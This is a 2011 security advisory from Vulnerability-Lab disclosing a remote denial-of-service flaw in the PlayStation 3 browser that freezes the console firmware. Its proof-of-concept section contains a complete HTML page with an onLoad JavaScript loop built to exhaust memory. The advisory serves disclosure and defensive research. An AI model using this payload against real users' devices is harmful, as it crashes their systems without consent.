Document Title:
===============
Playstation 3 Browser & Firmware Freeze DoS Vulnerability
Release Date:
=============
2011-06-18
Vulnerability Laboratory ID (VL-ID):
====================================
187
Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered a remote denial of service vulnerability for Playstation3 Browser.
Vulnerability Disclosure Timeline:
==================================
2011-06-07: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A denial of service vulnerability is detected on the PS3 Browser of Sony.
The bug is located in the browser when including specific nested loop requests out of a standard tag.
After exploitation of the browser the firmware crashs via heap freeze when memory full on main menu switch back.
Vulnerable Module(s):
[+] Browser
Pictures:
../ps3-memory.JPG
../ps3-crash-freeze.JPG
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers. For demonstration or reproduce ...
<html>
<head>
<title>browser crash & firmware freeze 4 ps3</title>
<script language="JavaScript" type="Text/Javascript">
function x(y)
{
for(var i=0;i<1000000;i++)
{
var u=document.body.getElementsByTagName("a")[0];
u.href=u.href+y;
}
}
</script> </head> <body onLoad="x(document.body.innerHTML)";><a href="x" />x</a>
</body>
</html>
Security Risk:
==============
The security risk of the denial of service vulnerability is estimated as medium because of the firmware freeze on switching back to main menu.
Credits & Authors:
==================
Vulnerability Research Laboratory - N/A Anonymous
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.
Copyright © 2012 | Vulnerability Laboratory